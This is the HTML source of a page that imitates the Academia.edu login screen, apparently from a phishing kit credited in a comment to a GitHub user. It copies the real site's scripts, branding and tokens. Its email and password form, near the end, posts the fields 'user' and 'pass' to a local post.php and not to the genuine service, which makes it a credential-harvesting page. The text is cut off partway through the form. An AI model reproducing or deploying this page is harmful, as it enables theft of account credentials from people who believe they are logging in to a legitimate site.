| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804 |
- <!DOCTYPE html>
- <!-- Creatred by https://github.com/makdosx -->
- <html lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" class="wf-loading">
- <head prefix="og: https://ogp.me/ns#
- fb: https://ogp.me/ns/fb#
- academia: https://ogp.me/ns/fb/academia#">
- <meta charset="utf-8">
- <meta name=viewport content="width=device-width">
- <meta rel="search"
- type="application/opensearchdescription+xml"
- href="/open_search.xml"
- title="Academia.edu">
- <title>Academia.edu | Log In</title>
- <!-- _ _ _
- | | (_) | |
- __ _ ___ __ _ __| | ___ _ __ ___ _ __ _ ___ __| |_ _
- / _` |/ __/ _` |/ _` |/ _ \ '_ ` _ \| |/ _` | / _ \/ _` | | | |
- | (_| | (_| (_| | (_| | __/ | | | | | | (_| || __/ (_| | |_| |
- \__,_|\___\__,_|\__,_|\___|_| |_| |_|_|\__,_(_)___|\__,_|\__,_|
- We're hiring! See https://www.academia.edu/hiring -->
- <link href="//a.academia-assets.com/images/favicons/favicon-production.ico" rel="shortcut icon" type="image/vnd.microsoft.icon">
- <link rel="apple-touch-icon" sizes="57x57" href="//a.academia-assets.com/images/favicons/apple-touch-icon-57x57.png">
- <link rel="apple-touch-icon" sizes="60x60" href="//a.academia-assets.com/images/favicons/apple-touch-icon-60x60.png">
- <link rel="apple-touch-icon" sizes="72x72" href="//a.academia-assets.com/images/favicons/apple-touch-icon-72x72.png">
- <link rel="apple-touch-icon" sizes="76x76" href="//a.academia-assets.com/images/favicons/apple-touch-icon-76x76.png">
- <link rel="apple-touch-icon" sizes="114x114" href="//a.academia-assets.com/images/favicons/apple-touch-icon-114x114.png">
- <link rel="apple-touch-icon" sizes="120x120" href="//a.academia-assets.com/images/favicons/apple-touch-icon-120x120.png">
- <link rel="apple-touch-icon" sizes="144x144" href="//a.academia-assets.com/images/favicons/apple-touch-icon-144x144.png">
- <link rel="apple-touch-icon" sizes="152x152" href="//a.academia-assets.com/images/favicons/apple-touch-icon-152x152.png">
- <link rel="apple-touch-icon" sizes="180x180" href="//a.academia-assets.com/images/favicons/apple-touch-icon-180x180.png">
- <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-32x32.png" sizes="32x32">
- <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-194x194.png" sizes="194x194">
- <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-96x96.png" sizes="96x96">
- <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/android-chrome-192x192.png" sizes="192x192">
- <link rel="icon" type="image/png" href="//a.academia-assets.com/images/favicons/favicon-16x16.png" sizes="16x16">
- <link rel="manifest" href="//a.academia-assets.com/images/favicons/manifest.json">
- <meta name="msapplication-TileColor" content="#2b5797">
- <meta name="msapplication-TileImage" content="//a.academia-assets.com/images/favicons/mstile-144x144.png">
- <meta name="theme-color" content="#ffffff">
- <script>
- window.performance &&
- window.performance.measure &&
- window.performance.measure("Time To First Byte", "requestStart", "responseStart");
- </script>
- <script>
- (function() {
- if (!window.URLSearchParams || !window.history || !window.history.replaceState) {
- return;
- }
- var searchParams = new URLSearchParams(window.location.search);
- var paramsToDelete = [
- 'fs',
- 'sm',
- 'swp',
- 'iid',
- 'nbs',
- 'rcc', // related content category
- 'rcpos', // related content carousel position
- 'rcpg', // related carousel page
- 'rchid', // related content hit id
- 'f_ri', // research interest id, for SEO tracking
- 'f_fri', // featured research interest, for SEO tracking (param key without value)
- 'f_rid', // from research interest directory for SEO tracking
- ];
- if (paramsToDelete.every((key) => searchParams.get(key) === null)) {
- return;
- }
- paramsToDelete.forEach((key) => {
- searchParams.delete(key);
- });
- var cleanUrl = new URL(window.location.href);
- cleanUrl.search = searchParams.toString();
- history.replaceState({}, document.title, cleanUrl);
- })();
- </script>
- <script type="text/javascript">
- (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
- (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
- m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
- })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
- ga('create', {
- trackingId: 'UA-2111171-1',
- cookieDomain: 'academia.edu',
- });
- ga('set', 'dimension1', "sessions");
- ga('set', 'dimension2', "new");
- ga('set', 'dimension6', 'sessions#new');
- ga('set', 'dimension3', 'false');
- ga('set', 'dimension5', 'unknown');
- ga('send', 'pageview');
- </script>
- <script type="text/javascript">
- window.sendUserTiming = function(timingName) {
- if (!(window.performance && window.performance.measure)) return;
- var entries = window.performance.getEntriesByName(timingName, "measure");
- if (entries.length !== 1) return;
- var timingValue = Math.round(entries[0].duration);
- ga('send', {
- hitType: 'timing',
- timingCategory: 'User-centric',
- timingVar: timingName,
- timingValue: timingValue,
- });
- if (window.newsFeedStats) {
- // e.g. 'Time To Interactive' -> 'tti'
- var shortTimingName = timingName.toLowerCase().split(' ').map(function (word) {
- return word[0];
- }).join('');
- window.newsFeedStats[shortTimingName] = timingValue;
- }
- };
- window.sendUserTiming("Time To First Byte");
- </script>
- <meta name="csrf-param" content="authenticity_token" />
- <meta name="csrf-token" content="Pk/HIh1C52ktZ31U28C6Cf2CLNgVkBwstXl8MAX7XLkW2/K67dktfnlq/OncKO82BB8lftKryaUYNyKSFk/gtw==" />
-
- <meta name="description" content="Academia.edu is a place to share and follow research." />
- <meta name="google-site-verification" content="bKJMBZA7E43xhDOopFZkssMMkBRjvYERV-NaN4R6mrs" />
-
- <script>
- var $controller_name = 'sessions';
- var $action_name = "new";
- var $rails_env = 'production';
- var $app_rev = '48b71710e65516359483c6f33670f4cf51c6ba8e';
- var $domain = 'academia.edu';
- var $app_host = "academia.edu";
- var $asset_host = "academia-assets.com";
- var $start_time = new Date().getTime();
- var $recaptcha_key = "6LdxlRMTAAAAADnu_zyLhLg0YF9uACwz78shpjJB";
- var $recaptcha_invisible_key = "6Lf3KHUUAAAAACggoMpmGJdQDtiyrjVlvGJ6BbAj";
- </script>
- <script>
- window.Aedu = { hit_data: null };
- window.Aedu.SiteStats = {"premium_universities_count":16946,"monthly_visitors":"103 million","monthly_visitor_count":103894500,"monthly_visitor_count_in_millions":103,"user_count":188163061,"paper_count":36526928,"paper_count_in_millions":36,"page_count":432000000,"page_count_in_millions":432,"pdf_count":16500000,"pdf_count_in_millions":16};
- window.Aedu.serverRenderTime = new Date(1659046372000);
- window.Aedu.isUsingCssV1 = false;
- window.Aedu.enableLocalization = true;
- window.Aedu.activateFullstory = false;
- window.Aedu.serviceAvailability = {
- status: {"redshift":"on","attention_db":"on","bibliography_db":"on","contacts_db":"on","email_db":"on","news_db":"on","notifications_db":"on","mentions_db":"on","errors_redis":"on"},
- serviceEnabled: function(service) {
- return this.status[service] === "on";
- },
- readEnabled: function(service) {
- return this.serviceEnabled(service) || this.status[service] === "read_only";
- },
- };
- </script>
- <!--[if lt IE 9]>
- <script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.2/html5shiv.min.js"></script>
- <![endif]-->
- <link href="https://fonts.googleapis.com/css?family=Roboto:100,100i,300,300i,400,400i,500,500i,700,700i,900,900i" rel="stylesheet">
- <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
- <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/libraries-f6da9185479373b0a797959f16e3f33ba9d94f863cde79d2a3a13b88284d6e4f.css" />
- <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/academia-9ceee33a4bd951a384ebf5535a9dd648430bd8437a88fad54e7ec9aff60198d6.css" />
-
- <link rel="stylesheet" media="all" href="//a.academia-assets.com/assets/design_system-c1409547c5f89dcca07f1428929406eacfe756a7e32a18749e8c967e783dccfd.css" />
- <script src="//a.academia-assets.com/assets/webpack_bundles/runtime-bundle-85e165765ce1adf0cec7ea78829eef6dcd87b26bc4da5c258ced5b5e731c7a2b.js"></script>
- <script src="//a.academia-assets.com/assets/webpack_bundles/webpack_libraries_and_infrequently_changed.wjs-bundle-eb7ba2521c1499cecfeb81b9d3d7c7fdb8104097dc698bfd8f43ce91e85b9778.js"></script>
- <script src="//a.academia-assets.com/assets/webpack_bundles/core_webpack.wjs-bundle-cbdcd2570846072a8dfbbcdfe8b9a83d7c1df117eb2572d7c3c2a5bd0204de82.js"></script>
- <!--[if lt IE 10]>
- <script src="//a.academia-assets.com/assets/ie9_polyfills-ccb518f0850bf8f4a890a1be8d6c94fae535ed9d8e753c88bd1b054d85c96929.js"></script>
- <![endif]-->
- <script src="//a.academia-assets.com/assets/webpack_bundles/sentry.wjs-bundle-6af2aa5d927872325a616b8c20030c30d52ce7fa41fe1ae04c4a923c3efd3a1d.js"></script>
- <script>
- jade = window.jade || {};
- jade.split = window.Aedu.Split;
- jade.helpers = window.$h;
- jade._ = window._;
- </script>
- <!-- Google Tag Manager -->
- <script id="tag-manager-head-root">(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
- new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
- j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
- 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
- })(window,document,'script','dataLayer','GTM-5G9JF7Z');</script>
- <!-- End Google Tag Manager -->
- <script>
- var gptadslots = [];
- var googletag = googletag || {cmd:[]};
- </script>
- <script type="text/javascript">
- // TODO(jacob): This should be defined, may be rare load order problem.
- // Checking if null is just a quick fix, will default to en if unset.
- // Better fix is to run this immedietely after I18n is set.
- if (window.I18n != null) {
- I18n.defaultLocale = "en";
- I18n.locale = "en";
- I18n.fallbacks = true;
- }
- </script>
-
- <script>(function() {
- !function(a9,a,p,s,t,A,g){if(a[a9])return;function q(c,r){a[a9]._Q.push([c,r])}a[a9]={init:function(){q("i",arguments)},fetchBids:function(){q("f",arguments)},setDisplayBids:function(){},targetingKeys:function(){return[]},_Q:[]};A=p.createElement(s);A.async=!0;A.src=t;g=p.getElementsByTagName(s)[0];g.parentNode.insertBefore(A,g)}("apstag",window,document,"script","//c.amazon-adsystem.com/aax2/apstag.js");
- apstag.init({
- pubID: '4d038c72-2f66-4647-8cf6-cf9cfa4b1ac7',
- adServer: 'googletag'
- });
- var controller = 'sessions';
- var logged_in = '' !== '';
- var slots = [];
- switch (controller) {
- case 'analytics_dashboard':
- slots = [{
- slotID: 'div-gpt-ad-4397870-18',
- slotName: '65327593/Academia/Analytics',
- sizes: [[970,90],[970,250],[728,90]]
- }];
- break;
- case 'departments':
- slots = [{
- slotID: 'div-gpt-ad-4397870-19',
- slotName: '65327593/Academia/Tags',
- sizes: [[300,600],[300,250],[160,600]]
- }];
- break;
- case 'works':
- if (logged_in) {
- slots = [{
- slotID: 'div-gpt-ad-4397870-13',
- slotName: '65327593/Academia/Profile_LoggedIn',
- sizes: [[300,600],[300,250],[160,600]]
- }];
- } else {
- slots = [{
- slotID: 'div-gpt-ad-4397870-11',
- slotName: '65327593/Academia/Profile_LoggedOut',
- sizes: [[300,600],[300,250],[160,600]]
- }];
- }
- break;
- case 'single_work':
- if (logged_in) {
- slots = [{
- slotID: 'div-gpt-ad-4397870-1',
- slotName: '65327593/Academia/Swp_LoggedIn',
- sizes: [[300,250]]
- },{
- slotID: 'div-gpt-ad-4397870-3-2',
- slotName: '65327593/Academia/Swp_LoggedIn',
- sizes: [[728,90]]
- }];
- } else {
- slots = [{
- slotID: 'div-gpt-ad-4397870-8-2',
- slotName: '65327593/Academia/Swp_LoggedOut',
- sizes: [[728,90]]
- }];
- }
- break;
- case 'by_tag':
- slots = [{
- slotID: 'div-gpt-ad-4397870-19',
- slotName: '65327593/Academia/Tags',
- sizes: [[300,600],[300,250],[160,600]]
- }];
- break;
- case 'universities':
- slots = [{
- slotID: 'div-gpt-ad-4397870-21',
- slotName: '65327593/Academia/Universities',
- sizes: [[300,600],[300,250],[160,600]]
- }];
- break;
- case 'news':
- slots = [{
- slotID: 'div-gpt-ad-4397870-16',
- slotName: '65327593/Academia/Newsfeed',
- sizes: [[300,600],[160,600],[300,250]]
- }];
- break;
- }
- if (!slots.length) {
- // If you proceed without any slots, you'll get this error in
- // the console: "Error: No slots provided to apstag.fetchBids"
- return;
- }
- apstag.fetchBids({
- slots: slots,
- timeout: 2e3
- }, function(bids) {
- // set apstag targeting on googletag, then trigger the first DFP request in googletag's disableInitialLoad integration
- googletag.cmd.push(function(){
- apstag.setDisplayBids();
- });
- });
- })()</script>
- <script src="https://fdyn.pubwise.io/script/fbb5f41d-df80-4a62-9b42-d0589d7d0b19/v3/dyn/pre_pws.js" type="text/javascript"></script><script async="" src="https://fdyn.pubwise.io/script/fbb5f41d-df80-4a62-9b42-d0589d7d0b19/v3/dyn/pws.js" type="text/javascript"></script><script>(function() {
- var gads = document.createElement('script');
- gads.async = true;
- gads.type = 'text/javascript';
- var useSSL = 'https:' == document.location.protocol;
- gads.src = (useSSL ? 'https:' : 'http:') +
- '//www.googletagservices.com/tag/js/gpt.js';
- var node = document.getElementsByTagName('script')[0];
- node.parentNode.insertBefore(gads, node);
- })();
- (function() {
- function defineGoogleAdsHelpers() {
- var mapping1 = googletag.sizeMapping()
- .addSize([1024, 500], [[728, 90]])
- .addSize([768, 400], [[728, 90]])
- .addSize([470, 400], [[320, 100], [320, 50]])
- .addSize([360, 400], [[320, 100], [320, 50]])
- .addSize([0, 0], [[320, 100], [320, 50]])
- .build();
- var mapping2 = googletag.sizeMapping()
- .addSize([1024, 500], [[728, 90]])
- .addSize([768, 400], [[728, 90]])
- .addSize([0, 0], [])
- .build();
- var mapping3 = googletag.sizeMapping()
- .addSize([1024, 500], [[728, 90]])
- .addSize([768, 400], [[728, 90]])
- .addSize([470, 400], [[320, 100], [320, 50], [300, 250]])
- .addSize([360, 400], [[320, 100], [320, 50], [300, 250]])
- .addSize([0, 0], [[320, 100], [320, 50], [300, 250]])
- .build();
- var mapping4 = googletag.sizeMapping()
- .addSize([1024, 500], [[300, 250], [300, 600], [160, 600]])
- .addSize([768, 400], [])
- .addSize([470, 400], [])
- .addSize([360, 400], [])
- .addSize([0, 0], [])
- .build();
- var inlineParamsByLabel = {
- Swp_LoggedIn_Rail1: [2, [[300,250]]],
- Swp_LoggedIn: [3, [[728,90]], mapping3],
- Swp_LoggedOut_Rail: [7, [[300,250]], mapping4],
- Swp_LoggedOut: [8, [[728,90]], mapping3],
- Profile_LoggedOut: [12, [[728,90]], mapping1],
- SearchResults: [15, [[728,90]], mapping1],
- Newsfeed: [17, [[728,90]], mapping1],
- Swp_LoggedIn_Rail2: [22, [[300,250]]],
- Swp_LoggedIn_Rail3: [23, [[300,250],[300,600],[160,600]]],
- };
- window.$GoogleAds = {
- divIdPrefix: function() {
- return "div-gpt-ad-4397870-";
- },
- defineSlot: function(label, targeting, suffix, sizes, sizeMapping) {
- var id = $GoogleAds.divIdPrefix() + suffix;
- if (label === '') {
- Sentry.captureMessage("No label given for ad slot: " + window.location.href);
- }
- var slot = googletag.defineSlot('/65327593/Academia/' + label, sizes, id);
- //Using this for refreshing slots if we have disable inital load on.
- $GoogleAds.slotDefByLabel[id] = slot;
- if(targeting) {
- slot = slot.setTargeting('POS', [targeting]);
- }
- if(sizeMapping) {
- slot = slot.defineSizeMapping(sizeMapping);
- }
- slot.addService(googletag.pubads());
- gptadslots.push(slot);
- return {slot: slot, id: id};
- },
- defineInlineSlot: function(label, suffix, keyword_params) {
- if (keyword_params === undefined) {
- keyword_params = {};
- }
- var params = inlineParamsByLabel[label];
- // There are 2 use cases hidden here
- // 1) defineInlineSlot called from JS
- // 2) defineInlineSlot called from slim templated rendered in ruby (the dfp_inline_slot_definition partial)
- // In the first case, we want to automatically keep track of the last created div id and increment it
- // In the latter case, we trust the ruby code to do the div id accounting
- if(!suffix) {
- $GoogleAds.inlineIndexByLabel[label] = $GoogleAds.inlineIndexByLabel[label] || 1;
- var suffix = params[0] + "-" + $GoogleAds.inlineIndexByLabel[label];
- $GoogleAds.inlineIndexByLabel[label] += 1;
- }
- var index = $GoogleAds.inlineIndexByLabel[label];
- var position_label = "Inline";
- if (keyword_params && keyword_params['index']) {
- index = keyword_params['index'];
- }
- if (keyword_params && keyword_params['position_label']) {
- position_label = keyword_params['position_label'];
- }
- var slotDef = $GoogleAds.defineSlot(label, position_label + index, suffix, params[1], params[2]);
- $GoogleAds.inlineSlotDefsByLabel[label] = $GoogleAds.inlineSlotDefsByLabel[label] || [];
- $GoogleAds.inlineSlotDefsByLabel[label].push(slotDef);
- return slotDef;
- },
- latestInlineSlotDef: function(label) {
- var slotDefs = $GoogleAds.inlineSlotDefsByLabel[label];
- if(slotDefs == null) return;
- return slotDefs[slotDefs.length - 1];
- },
- renderForPlatform: function(dfp_slot_id, desktopOnly, mobileOnly) {
- // The Only flags both default to false.
- // If both are set to true, we'll show nothing.
- var shouldShowMobile = !desktopOnly && $a.is_mobile();
- var shouldShowDesktop = !mobileOnly && !$a.is_mobile();
- var shouldShow = shouldShowMobile || shouldShowDesktop;
- if(shouldShow) {
- if(typeof(pubwise) != 'undefined' && pubwise.enabled === true) {
- pbjs.que.push(function() {
- performPubWiseLoad([$GoogleAds.slotDefByLabel[dfp_slot_id]],true);
- });
- } else {
- googletag.display(dfp_slot_id);
- googletag.pubads().refresh([$GoogleAds.slotDefByLabel[dfp_slot_id]]);
- }
- }
- },
- refreshAds: function (slots) {
- if(typeof(pubwise) != 'undefined' && pubwise.enabled) {
- pbjs.que.push(function() {
- performPubWiseLoad(slots,false);
- });
- } else {
- googletag.pubads().refresh(slots)
- }
- },
- mapping1: mapping1,
- mapping2: mapping2,
- inlineIndexByLabel: {},
- inlineSlotDefsByLabel: {},
- slotDefByLabel: {}
- }
- };
- googletag.cmd.push(function() {
- defineGoogleAdsHelpers()
- var defineSlot = $GoogleAds.defineSlot
- var defineInlineSlot = $GoogleAds.defineInlineSlot
- var mapping1 = $GoogleAds.mapping1
- var mapping2 = $GoogleAds.mapping2
- // Checking which page we are on because Google doesn't like slots getting defined that aren't
- // actually being served on the page
- var controller = 'sessions';
- var logged_in = false;
- if ((controller === 'single_work') && logged_in) {
- defineSlot('Swp_LoggedIn', 'RightRail1', 1, [[300, 250]])
- defineInlineSlot('Swp_LoggedIn_Rail1')
- defineInlineSlot('Swp_LoggedIn_Rail2')
- defineInlineSlot('Swp_LoggedIn_Rail3')
- defineInlineSlot('Swp_LoggedIn')
- defineSlot('Swp_LoggedIn_Overpass', null, 4, [[1, 1]])
- } else if ((controller === 'single_work') && !logged_in) {
- defineSlot('Swp_LoggedOut', 'Top', 5, [[728, 90]], mapping2)
- defineSlot('Swp_LoggedOut', 'RightRail1', 6, [[300, 600], [300, 250], [160, 600]])
- defineInlineSlot('Swp_LoggedOut_Rail')
- defineInlineSlot('Swp_LoggedOut')
- defineSlot('Swp_LoggedOut_Overpass', null, 9, [[1, 1]])
- } else if ((controller === 'works') && !logged_in) {
- defineSlot('Profile_LoggedOut', 'Top', 10, [[970, 250], [970, 90], [728, 90]], mapping1)
- defineSlot('Profile_LoggedOut', 'RightRail1', 11, [[300, 600], [300, 250], [160, 600]])
- defineInlineSlot('Profile_LoggedOut')
- } else if ((controller === 'works') && logged_in) {
- defineSlot('Profile_LoggedIn', 'RightRail1', 13, [[300, 250], [300, 600], [160, 600]])
- defineSlot('Profile_LoggedIn', 'Bottom', 14, [[728, 90]], mapping1)
- } else {
- defineInlineSlot('SearchResults')
- defineSlot('Newsfeed', 'RightRail1', 16, [[300, 600], [300, 250], [160, 600]])
- defineInlineSlot('Newsfeed')
- defineSlot('Analytics', 'Top', 18, [[970, 90], [970, 250], [728, 90]])
- defineSlot('Tags', 'RightRail1', 19, [[300, 600], [300, 250], [160, 600]])
- defineSlot('Departments', 'RightRail1', 20, [[300, 600], [300, 250], [160, 600]])
- defineSlot('Universities', 'RightRail1', 21, [[300, 600], [300, 250], [160, 600]])
- }
- targeting_data = [["University","null"],["Role/Profession","null"],["FieldOfStudy","null"]];
- targeting_data.forEach(data => { googletag.pubads().setTargeting(data[0], data[1]) });
- googletag.pubads().setTargeting('Url', window.location.pathname);
- googletag.pubads().collapseEmptyDivs();
- googletag.pubads().setCentering(true);
- googletag.pubads().disableInitialLoad();
- // If not on SWP or not on logged out user profile page, enableSingleRequest
- // Otherwise use multirequest mode because SWP and logged out user profile has dynamically defined ads
- if (!(controller === 'single_work') && !((controller === 'works') && !logged_in)) {
- googletag.pubads().enableSingleRequest();
- }
- googletag.enableServices();
- });
- })();</script>
- <link rel="canonical" href="https://www.academia.edu/login" />
- </head>
- <!--[if gte IE 9 ]>
- <body class='ie ie9 c-sessions a-new logged_out'>
- <![endif]-->
- <!--[if !(IE) ]><!-->
- <body class='c-sessions a-new logged_out'>
- <!--<![endif]-->
-
- <div id="fb-root"></div><script>window.fbAsyncInit = function() {
- FB.init({
- appId: "2369844204",
- version: "v8.0",
- status: true,
- cookie: true,
- xfbml: true
- });
- // Additional initialization code.
- if (window.InitFacebook) {
- // facebook.ts already loaded, set it up.
- window.InitFacebook();
- } else {
- // Set a flag for facebook.ts to find when it loads.
- window.academiaAuthReadyFacebook = true;
- }
- };</script><script>window.fbAsyncLoad = function() {
- // Protection against double calling of this function
- if (window.FB) {
- return;
- }
- (function(d, s, id){
- var js, fjs = d.getElementsByTagName(s)[0];
- if (d.getElementById(id)) {return;}
- js = d.createElement(s); js.id = id;
- js.src = "//connect.facebook.net/en_US/sdk.js";
- fjs.parentNode.insertBefore(js, fjs);
- }(document, 'script', 'facebook-jssdk'));
- }
- if (!window.defer_facebook) {
- // Autoload if not deferred
- window.fbAsyncLoad();
- } else {
- // Defer loading by 5 seconds
- setTimeout(function() {
- window.fbAsyncLoad();
- }, 5000);
- }</script>
- <div id="google-root"></div><script>window.loadGoogle = function() {
- if (window.InitGoogle) {
- // google.ts already loaded, set it up.
- window.InitGoogle("331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b");
- } else {
- // Set a flag for google.ts to use when it loads.
- window.GoogleClientID = "331998490334-rsn3chp12mbkiqhl6e7lu2q0mlbu0f1b";
- }
- };</script><script>window.googleAsyncLoad = function() {
- // Protection against double calling of this function
- if (window.gapi) {
- return;
- }
- (function(d) {
- var js;
- var id = 'google-jssdk';
- var ref = d.getElementsByTagName('script')[0];
- if (d.getElementById(id)) {
- return;
- }
- js = d.createElement('script');
- js.id = id;
- js.async = true;
- js.src = "https://apis.google.com/js/api:client.js?onload=loadGoogle"
- ref.parentNode.insertBefore(js, ref);
- }(document));
- }
- if (!window.defer_google) {
- // Autoload if not deferred
- window.googleAsyncLoad();
- } else {
- // Defer loading by 5 seconds
- setTimeout(function() {
- window.googleAsyncLoad();
- }, 5000);
- }</script>
- <div id="tag-manager-body-root">
- <!-- Google Tag Manager (noscript) -->
- <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-5G9JF7Z"
- height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
- <!-- End Google Tag Manager (noscript) -->
- <!-- Event listeners for analytics -->
- <script>
- window.addEventListener('load', function() {
- if (document.querySelector('input[name="commit"]')) {
- document.querySelector('input[name="commit"]').addEventListener('click', function() {
- ga('send', 'event', 'button', 'click', 'Log In');
- })
- }
- });
- </script>
- </div>
- <script>var _comscore = _comscore || [];
- _comscore.push({ c1: "2", c2: "26766707" });
- (function() {
- var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
- s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
- el.parentNode.insertBefore(s, el);
- })();</script><img src="https://sb.scorecardresearch.com/p?c1=2&c2=26766707&cv=2.0&cj=1" style="position: absolute; visibility: hidden" />
-
- <div class='DesignSystem'>
- <a class='u-showOnFocus' href='#site'>
- Skip to main content
- </a>
- </div>
- <div id="upgrade_ie_banner" style="display: none;"><p>Academia.edu no longer supports Internet Explorer.</p><p>To browse Academia.edu and the wider internet faster and more securely, please take a few seconds to <a href="https://www.academia.edu/upgrade-browser">upgrade your browser</a>.</p></div><script>// Show this banner for all versions of IE
- if (!!window.MSInputMethodContext || /(MSIE)/.test(navigator.userAgent)) {
- document.getElementById('upgrade_ie_banner').style.display = 'block';
- }</script>
- <div class="DesignSystem"></div>
- <div id='site' class='fixed'>
- <div id="content" class="clearfix">
- <style type="text/css">/*
- remove after when moving to new layout
- uses the flash[:error] message in a different spot in the dom
- */
- .error_banner {
- display: none;
- }
- body {
- background-color: white;
- }
- .Content {
- max-width: 530px;
- }</style><div class="DesignSystem"><div class="container u-mt20x"><div class="row"><div class="col-xs-12 col-sm-10 col-sm-offset-1 col-md-6 col-md-offset-3"><div class="Content center-block"><div class="u-taCenter"><img class="Logo" onerror="this.src='//a.academia-assets.com/images/academia-logo-redesign-2015.png'" style="width: 178px; height: 22px;" src="//a.academia-assets.com/assets/academia-logo-redesign-2015-45ae31566d1421084023fae986d81b06469982455d4be698a5226a904e7836a9.svg" /></div><div class="row u-mt2x"><div class="col-sm-6"><button class="Button Button--facebook Button--lg Button--block u-p0x u-ph2x u-mv6x u-taLeft" id="login-facebook-oauth-button" style="display: flex; align-items: center;"><img class="u-positionRelative u-pr4x" src="//a.academia-assets.com/images/facebook/facebook-color.svg" style="top:-2px;" /><span class="u-fs11" style="white-space: normal; line-height: normal;">Log in with Facebook</span></button></div><div class="col-sm-6"><button class="Button Button--google Button--lg Button--block u-p0x u-pl2x u-pr4x u-mv6x u-taLeft" id="login-google-oauth-button" style="display: flex; align-items: center;"><img class="u-positionRelative u-pr4x" src="//a.academia-assets.com/images/google/google-color.svg" style="top:-2px;" /><span class="u-fs11" style="white-space: normal; line-height: normal;">Log in with Google</span></button></div><div class="col-sm-6"><div class="u-mb6x"><style type="text/css">.sign-in-with-apple-button {
- width: 100%;
- height: 52px;
- border-radius: 3px;
- border: 1px solid black;
- cursor: pointer;
- }</style><script src="https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js" type="text/javascript"></script><div class="sign-in-with-apple-button" data-border="false" data-color="white" id="appleid-signin"><span ="Sign Up with Apple" class="u-fs11"></span></div><script>AppleID.auth.init({
- clientId: 'edu.academia.applesignon',
- scope: 'name email',
- redirectURI: 'https://www.academia.edu/sessions',
- state: "11734162cf75f657eb66e30bf44067fa2f65f800bb1df88f8c8808648269b823",
- });</script></div></div><script>new Aedu.Auth.OauthButton.Login.Google({
- el: '#login-google-oauth-button',
- rememberMeCheckboxId: 'remember_me',
- track: null,
- redirectPath: null,
- });
- new Aedu.Auth.OauthButton.Login.Facebook({
- el: '#login-facebook-oauth-button',
- rememberMeCheckboxId: 'remember_me',
- track: null,
- redirectPath: null,
- });</script></div><div class="row"><div class="col-xs-12"><div class="hr-heading login-hr-heading"><span class="hr-heading-text">or</span></div></div></div><div class="row"><div class="col-xs-12 u-positionRelative u-mt6x u-mb8x"><form id="js-for-recaptcha--login-form" class="js-login-form" action="post.php" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" autocomplete="off" /><input type="hidden" name="authenticity_token" value="YL4jDWPKg3VuXnLBF6zpB6DihFdwWOx8a8PA2x5zItRIKhaVk1FJYjpT83wQRLw4WX+N8bdjOfXGjZ55Dcee2g==" autocomplete="off" /><div class="form-group"><label class="control-label" for="login-modal-email-input">Email</label><input autofocus="" class="TextInput TextInput--lg TextInput--dark u-mb8x" id="login-modal-email-input" name="user" placeholder="Email" type="email" value="" /></div><div class="form-group"><label class="control-label" for="login-modal-password-input">Password</label><div class="u-floatRight"><a class="u-tcGrayDark u-fs12" data-target="#login-reset-password-container" data-toggle="collapse" href="javascript:void(0)" tabindex="-1"><span class="u-textDecorationNone"><i class="fa fa-lg fa-question-circle u-pr1x" style="line-height: 9px"></i></span>Password Reset</a></div><input class="TextInput TextInput--lg TextInput--dark u-mb8x" id="login-modal-password-input" name="pass" placeholder="Password" type="password" /><input type="hidden" name="post_login_redirect_url" id="post_login_redirect_url" autocomplete="off" /></div><div class="row"><div class="col-sm-8"><div class="checkbox"><label class="u-m0x" style="line-height: 18px;"><input type="checkbox" name="remember_me" id="remember_me" value="1" 